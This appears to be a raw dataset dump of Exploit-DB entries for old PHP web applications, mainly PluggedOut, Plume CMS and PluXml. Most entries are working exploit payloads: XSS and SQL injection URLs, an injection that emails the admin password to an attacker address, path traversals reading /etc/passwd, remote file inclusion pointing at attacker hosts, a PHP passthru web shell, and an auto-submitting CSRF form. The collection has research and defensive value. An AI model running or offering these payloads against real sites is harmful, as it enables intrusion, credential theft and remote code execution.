deardaniel/secdata-raw huggingface dataset:
Exploit-DB #24357
Description: PluggedOut Blog 1.51/1.60 - 'Blog_Exec.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-08-07
Author: befcake beefy

Exploit:
source: https://www.securityfocus.com/bid/10885/info

PluggedOut Blog is reported prone to a cross-site scripting vulnerability.

This could allow for execution of hostile HTML and script code in the web client of a user who visits a malicious link to the vulnerable site. This code execution would occur in the security context of the site hosting the vulnerable software. 

Exploitation could allow for theft of cookie-based authentication credentials. Other attacks are also possible.

http://www.example.com/blog/blog_exec.php?action=remove_blog&blogid=<script>alert(document.cookie);</script>
Exploit-DB #35482
Description: PluggedOut Blog 1.9.9 - 'year' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-03-21
Author: kurdish hackers team

Exploit:
source: https://www.securityfocus.com/bid/46962/info

PluggedOut Blog is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PluggedOut Blog 1.9.9 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?year=<script>alert(88888)</script>
Exploit-DB #26750
Description: PluggedOut Blog 1.9.x - 'index.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-12-06
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15746/info

PluggedOut Blog is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/index.php?categoryid=[SQL]
http://www.example.com/index.php?entryid=[SQL]
http://www.example.com/index.php?month=1&year=[SQL]
http://www.example.com/index.php?month=[SQL]
http://www.example.com/index.php?year=2005&month=12&day=[SQL]
Exploit-DB #26054
Description: PluggedOut CMS 0.4.8 - 'admin.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-09-30
Author: FalconDeOro

Exploit:
source: https://www.securityfocus.com/bid/14426/info
 
PluggedOut CMS is prone to multiple cross-site scripting and SQL injection vulnerabilities.
 
Exploitation could allow for theft of cookie-based authentication credentials or unauthorized access to database data. Other attacks are also possible.

http://www.example.com/admin.php?action=content_edit&contentid=[XSS-Code] 

http://www.example.com/admin.php?action=report_statistics&report=visitors&&s=[XSS-Code]
Exploit-DB #26053
Description: PluggedOut CMS 0.4.8 - 'contenttypeid' SQL Injection
Type: webapps
Platform: php
Date: 2005-09-30
Author: FalconDeOro

Exploit:
source: https://www.securityfocus.com/bid/14426/info

PluggedOut CMS is prone to multiple cross-site scripting and SQL injection vulnerabilities.

Exploitation could allow for theft of cookie-based authentication credentials or unauthorized access to database data. Other attacks are also possible.

http://www.example.com/admin.php?action=report_statistics&report=visitors&list_from=[SQL-Injection]
Exploit-DB #27342
Description: PluggedOut Nexus 0.1 - 'forgotten_password.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-03-02
Author: Hamid Ebadi

Exploit:
source: https://www.securityfocus.com/bid/16915/info

PluggedOut Nexus is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Nexus 0.1 is reportedly affected by this issue.

The following proof of concept exploit is available:
Insert this code in E-Mail Address form (http://www.example.com/Nexus/forgotten_password.php) :
hamidnetworksecurityteam' union select
cUsername,cPassword,'ATTACKER@EMAIL.ADDRESS' from
nexus_users WHERE nUserId=1 and '1'='1

This will email the password for userID=1 to ATTACKER@EMAIL.ADDRESS.
Exploit-DB #6602
Description: PlugSpace 0.1 - 'navi' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-09-27
Author: dun

Exploit:
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ##############################################################
 #  [ PlugSpace v0.1 ]   Local File Inclusion Vulnerability   #
 ##############################################################
 #
 # Download: http://sourceforge.net/projects/plugspace/
 #
 # Vuln: http://site.com/[plugspace]/index.php?navi=../../../../../../../etc/passwd%00
 #      
 #
 # Bug: ./plugspace/index.php (lines: 64-81)
 #
 # ...
 # 64:		if (!isset($_GET['navi']))
 # 65:		{
 #		...	
 # 77:		}
 # 78:		else
 # 79:		{
 # 80:			include("plugins/".$_GET['navi']."/main.php");  	// LFI
 # 81:		}
 # ... 	 
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-09-27]
Exploit-DB #1832
Description: Plume CMS 1.0.3 - 'manager_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-05-26
Author: beford

Exploit:
Vendor: Plume CMS http://plume-cms.net
Vuln: Remote File Include
Discovered: beford <xbefordx gmail com>

Vulnerable File/Code

./plume-1.0.3/manager/frontinc/prepend.php

[code]
include_once $_PX_config['manager_path'].'/conf/config.php';
[/code]

http://urlanda.org/manager/frontinc/prepend.php?_PX_config[manager_path]=http://leet

# milw0rm.com [2006-05-26]
Exploit-DB #28147
Description: Plume CMS 1.0.4 - 'index.php?_PX_config[manager_path]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-07-03
Author: CrAsh_oVeR_rIdE

Exploit:
source: https://www.securityfocus.com/bid/18780/info

Plume CMS is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

A successful exploit of these issues allows the attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

http://www.example.com/(path)/index.php?_PX_config[manager_path]=http://evilcode.txt?
Exploit-DB #28148
Description: Plume CMS 1.0.4 - 'rss.php?_PX_config[manager_path]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-07-03
Author: CrAsh_oVeR_rIdE

Exploit:
source: https://www.securityfocus.com/bid/18780/info
 
Plume CMS is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
 
A successful exploit of these issues allows the attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
 
http://www.example.com/(path)/rss.php?_PX_config[manager_path]=http://evilcode.txt?
Exploit-DB #28149
Description: Plume CMS 1.0.4 - 'search.php?_PX_config[manager_path]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-03
Author: CrAsh_oVeR_rIdE

Exploit:
source: https://www.securityfocus.com/bid/18780/info
  
Plume CMS is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
  
A successful exploit of these issues allows the attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
  
http://www.example.com/(path)/search.php?_PX_config[manager_path]=http://evilcode.txt?
Exploit-DB #1970
Description: Plume CMS 1.1.3 - 'dbinstall.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-01
Author: Hamid Ebadi

Exploit:
/*------------------------------------------------
               IHS Public advisory
-------------------------------------------------*/

Plume CMS Remote File Inclusion

It uses PHP and MySql. With a single installation of
Plume you can have
multiple websites, file management, multiple authors
with different rights and websites in any languages
thanks to a full utf-8 support.
Plume CMS proposes a flexible plugin infrastructure to
extend it and is fully accessible with output
providing standard compliant code by default.
http://plume-cms.net


Discovered by Hamid Ebadi
Credit : all go to IHS team (IHS : IRAN HOMELAND SECURITY)
www.ihsteam.com (persian)
www.ihsteam.net (english)


The original article can be found at:
http://www.hamid.ir/security/
http://www.IHSteam.com

Vulnerable Systems:
       Plume CMS 1.1.3


Vulnerable Code :

[path]/plume-1.1.3/plume/manager/tools/link/dbinstall.php //Vulnerable Code :line 39
require_once $_PX_config['manager_path'].'/inc/class.checklist.php';
require_once $_PX_config['manager_path'].'/extinc/class.xmlsql.php';



Exploits:

The following URL will cause the server to include external files
http://localhost/plume-1.1.3/manager/tools/link/dbinstall.php?cmd=ls -al&_PX_config[manager_path]=http://attacker/cmd.gif?

cmd.gif
<?
passthru($_GET['cmd']);
?>

Solution:
Edit the source code to ensure that input is properly
verified.

greeting :
LorD , NT , C0d3r of IHS

# milw0rm.com [2006-07-01]
Exploit-DB #31304
Description: Plume CMS 1.2.2 - '/manager/xmedia.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-02-21
Author: Omer Singer

Exploit:
source: https://www.securityfocus.com/bid/27999/info

Plume CMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects Plume CMS 1.2.2; other versions may be affected as well. 

http://www.example.com/manager/xmedia.php?dir=theme/default/<script>alert("XSS")</script>&mode=
Exploit-DB #9424
Description: Plume CMS 1.2.3 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2009-08-12
Author: Sense of Security

Exploit:
Plume CMS Multiple SQL Injection Vulnerabilities - Security Advisory -
SOS-09-006


Release Date. 12-Aug-2009
Last Update. -
Vendor Notification Date. 16-Jun-2009
Product. Plume CMS
Platform. Independent
Affected versions. 1.2.3 (verified), possibly others
Severity Rating. High
Impact. Manipulation of data
Attack Vector. Remote with authentication
Solution Status. Unpatched
CVE reference. Not yet allocated



Details.

Plume CMS is a content management system written in PHP. The application
suffers from SQL injection vulnerabilities in index.php and tools.php, as it
fails to validate data supplied in the "m" variable of index.php before
being used in a SQL query. Additionally, the variable "id" of tools.php is
also vulnerable to the same type of attack.

SQL injection attacks can give an attacker access to backend database
contents, the ability to remotely execute system commands, or in some
circumstances the means to take control of the operating system hosting the
database.



Proof of Concept.

The below POC will return the first username from the users table:
/plume/manager/index.php?m=1 UNION SELECT
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,user_username,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
FROM plume_users LIMIT 1,1--



Solution.

None.



Discovered by.

SOS Labs.



About us.

Sense of Security is a leading provider of information security and risk
management solutions. Our team has expert skills in assessment and
assurance, strategy and architecture, and deployment through to ongoing
management. We are Australia's premier penetration testing company and
trusted IT security advisor to many of the countries largest organisations.

Sense of Security Pty Ltd

Level 3, 66 King St
Sydney NSW 2000
AUSTRALIA


T: +61 (0)2 9290 4444
F: +61 (0)2 9290 4455
W: http://www.senseofsecurity.com.au
E: info@senseofsecurity.com.au



The latest version of this advisory can be found at:

http://www.senseofsecurity.com.au/advisories/SOS-09-006.pdf



Other Sense of Security advisories can be found at:

http://www.senseofsecurity.com.au/research/it-security-advisories.php

# milw0rm.com [2009-08-12]
Exploit-DB #18502
Description: Plume CMS 1.2.4 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2012-02-20
Author: Ivano Binetti

Exploit:
+--------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title : PlumeCMS <= 1.2.4 CSRF Vulnerability
# Date          : 20-02-2012
# Author        : Ivano Binetti (http://ivanobinetti.com)
# Software link : http://sourceforge.net/projects/pxsystem/files/latest/download?source=directory
# Vendor site   : http://pxsystem.sourceforge.net/
# Version       : 1.2.4 (latest) and lower
# Tested on     : Debian Squeeze (6.0)
+--------------------------------------------------------------------------------------------------------------------------------+
+------------------------------------------[Insert and publish NEWS by Ivano Binetti]--------------------------------------------------+
Summary

1)Vulnerability Description
2)Exploit

+---------------------------------------------------------------------------------------------------------------------------------+

1)Vulnerability Description

PlumeCMS is prone to a CSRF Vulnerability which allows an attacker to insert and publish "News" (as PlumeCMS names his articles) when an 
authenticated admin browses a web page containing the following html/javascript code.

2)Exploit 

<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to add and publish News</H2>
<form method="POST" name="form0" action="http://localhost:80/plume/manager/news.php">
<input type="hidden" name="n_category_id" value="1"/>
<input type="hidden" name="n_content_format" value="html"/>
<input type="hidden" name="n_status" value="1"/>
<input type="hidden" name="n_comment_support" value="1"/>
<input type="hidden" name="n_subtype" value="2"/>
<input type="hidden" name="n_title" value="hacked news"/>
<input type="hidden" name="n_content" value="%3Cp%3Etest2%3C%2Fp%3E"/>
<input type="hidden" name="n_subject" value=""/>
<input type="hidden" name="n_titlewebsite" value=""/>
<input type="hidden" name="n_linkwebsite" value=""/>
<input type="hidden" name="publish" value="Save+%5Bs%5D"/>
</form>
</body>
</html>


+----------------------------------------------------------------------------------------------------------------------------------+
Exploit-DB #12107
Description: Plume CMS 1.2.4 - Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2010-04-07
Author: eidelweiss

Exploit:
########################################################
Plume CMS 1.2.4 Multiple Local File Inclusion Vulnerabilities
########################################################

[+]Title:	Plume CMS 1.2.4 Multiple Local File Inclusion Vulnerabilities
[+]Version:	1.2.4 (other or lower version may be also affected)
[+]Download:	http://sourceforge.net/projects/pxsystem/files/
[+]Author:	eidelweiss
[+]Contact:	eidelweiss[at]cyberservices[dot]com		

	[!]Thank`s To: All Friends & All Hackers

########################################################
Description:
Plume CMS is a fully functional Content Management System in PHP on top of MySQL. 
Including articles, news, file management and all of the general functionalities of a CMS. 
It is completely accessible and very easy to use on a daily basis. 
########################################################

	-=[ Vuln C0de ]=-

[-] plume/manager/articles.php
**********************
require_once 'path.php';
require_once $_PX_config['manager_path'].'/prepend.php';
require_once $_PX_config['manager_path'].'/inc/class.article.php';	// <= line 26

**********************
[-] plume/manager/tools.php
**********************
# On fait la liste des plugins
$plugins_root = dirname(__FILE__).'/tools/';

$objPlugins = new plugins($plugins_root);
$plugins_list = $objPlugins->getPlugins();

$include = '';

if (!empty($_REQUEST['p']) && !empty($plugins_list[$_REQUEST['p']])
    && $plugins_list[$_REQUEST['p']]['active']) {
	$px_submenu->addItem(__('Back to the tools'), 'tools.php',
                         'themes/'.$_px_theme.'/images/ico_back.png',
                         false);
	$p = $_REQUEST['p'];
	$_px_ptheme = $m->user->getPluginTheme($p);
	ob_start();
	include $plugins_root.$p.'/index.php'; 	// <= line 54
	$include = ob_get_contents();
**********************
[-] plume/manager/news.php

require_once 'path.php';
require_once $_PX_config['manager_path'].'/prepend.php';
require_once $_PX_config['manager_path'].'/inc/class.news.php';

**********************


	-=[ Proof Of Concept ]=-

	http://127.0.0.1/plume/manager/articles.php?_PX_config[manager_path]=../../../../../../etc/passwd%00

	http://127.0.0.1/plume/manager/tools.php?p=../../../../../../etc/passwd%00

	http://127.0.0.1/plume/manager/plume/manager/news.php?_PX_config[manager_path]=../../../../../../etc/passwd%00

	etc , etc , etc.

####################=[E0F]=####################
Exploit-DB #5672
Description: plusphp url shortening software 1.6 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-05-25
Author: DR.TOXIC

Exploit:
Author: DR.TOXIC  / dr.toxic@windowslive.com
 
Title: plusPHP Multi-User Short URL and Statistics (plus.php) RFI Vulnerability
Script Download: http://www.hotscripts.com/jump.php?listing_id=80293&jump_type=1
Vulnerability Code: (plus.php) "include ($_pages_dir.'_config.php');"
Example;
http://localhost/plus.php?_pages_dir=http://SH3LL?
<--------------------Milw0rm Exploits-------------------->

# milw0rm.com [2008-05-25]
Exploit-DB #31202
Description: PlutoStatus Locator 1.0pre alpha - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-02-14
Author: muuratsalo

Exploit:
source: https://www.securityfocus.com/bid/27802/info

PlutoStatus Locator is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability using directory-traversal strings to include local files in the context of the webserver process. This may allow the attacker to obtain potentially sensitive information; other attacks are also possible.

This issue affects PlutoStatus Locator 1.0pre alpha; other versions may also be affected. 

http://www.example.com/locator/index.php?page=../../../../../../../../../../etc/passwd%00
Exploit-DB #18828
Description: PluXml 5.1.5 - Local File Inclusion
Type: webapps
Platform: php
Date: 2012-05-03
Author: High-Tech Bridge SA

Exploit:
Advisory ID: HTB23086
Product: PluXml
Vendor: pluxml.org
Vulnerable Version(s): 5.1.5 and probably prior
Tested Version: 5.1.5
Vendor Notification: 11 April 2012 
Vendor Patch: 16 April 2012 
Public Disclosure: 2 May 2012 
Vulnerability Type: Local File Inclusion
CVE Reference(s): CVE-2012-2227
Solution Status: Fixed by Vendor
Risk Level: High 
Credit: High-Tech Bridge SA Security Research Lab ( https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerabiliy in PluXml, which can be exploited to perform Local File Inclusion attacks.


1) Local File Inclusion in PluXml

1.1 Input passed via the "default_lang" POST parameter to /update/index.php is not properly verified before being used in include_once() function and can be exploited to include arbitrary local files.
This can be exploited to include local files via directory traversal sequences and URL-encoded NULL bytes.

The following PoC (Proof of Concept) demonstrates the vulnerability:


POST /update/index.php HTTP/1.1
[...]
Content-Type: application/x-www-form-urlencoded
Content-Length: [...]

default_lang=..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00


-----------------------------------------------------------------------------------------------

Solution:

Upgrade to PluXml 5.1.6

More Information:
http://www.pluxml.org/article59/sortie-de-pluxml-5-1-6
http://telechargements.pluxml.org/changelog

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23086 - https://www.htbridge.com/advisory/HTB23086 - Local File Inclusion in PluXml.
[2] PluXml - http://www.pluxml.org - PluXml is a script to create a site or a blog.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.
Exploit-DB #33413
Description: Pluxml-Blog 4.2 - '/core/admin/auth.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-17
Author: Metropolis

Exploit:
source: https://www.securityfocus.com/bid/37384/info

Pluxml-Blog is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Pluxml-Blog 4.2 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/core/admin/auth.php?p=1">